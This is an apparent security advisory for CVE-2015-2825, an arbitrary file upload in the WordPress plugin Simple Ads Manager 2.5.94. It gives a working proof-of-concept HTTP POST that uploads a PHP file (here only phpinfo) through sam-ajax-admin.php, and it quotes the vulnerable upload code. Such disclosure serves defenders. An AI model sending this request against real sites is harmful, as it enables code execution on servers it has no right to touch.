WordPress Simple Ads Manager 2.5.94 File Upload

`#Vulnerability title: Wordpress plugin Simple Ads Manager - Arbitrary File  
Upload  
#Product: Wordpress plugin Simple Ads Manager  
#Vendor: https://profiles.wordpress.org/minimus/  
#Affected version: Simple Ads Manager 2.5.94  
#Download link: https://wordpress.org/plugins/simple-ads-manager/  
#CVE ID: CVE-2015-2825  
#Author: Tran Dinh Tien ([email protected]) & ITAS Team  
  
  
::PROOF OF CONCEPT::  
  
+ REQUEST  
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1  
Host: targer.com  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Content-Type: multipart/form-data;  
boundary=---------------------------108989518220095255551617421026  
Content-Length: 683  
  
-----------------------------108989518220095255551617421026  
Content-Disposition: form-data; name="uploadfile"; filename="info.php"  
Content-Type: application/x-php  
  
<?php phpinfo(); ?>  
-----------------------------108989518220095255551617421026  
Content-Disposition: form-data; name="action"  
  
upload_ad_image  
-----------------------------108989518220095255551617421026-  
  
  
+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php  
  
+ Vulnerable code: from line 303 to 314  
  
case 'sam_ajax_upload_ad_image':  
if(isset($_POST['path'])) {  
$uploadDir = $_POST['path'];  
$file = $uploadDir . basename($_FILES['uploadfile']['name']);  
  
if ( move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file ))  
{  
$out = array('status' => "success");  
} else {  
$out = array('status' => "error");  
}  
}  
break;  
  
  
+ REFERENCE:   
-  
http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilitie  
s-in-Hakin9-IT-Security-Magazine-78.html?language=en  
- https://www.youtube.com/watch?v=8IU9EtUTkxI   
  
  
Best regard  
--------------------  
ITAS Team (www.itas.vn)  
`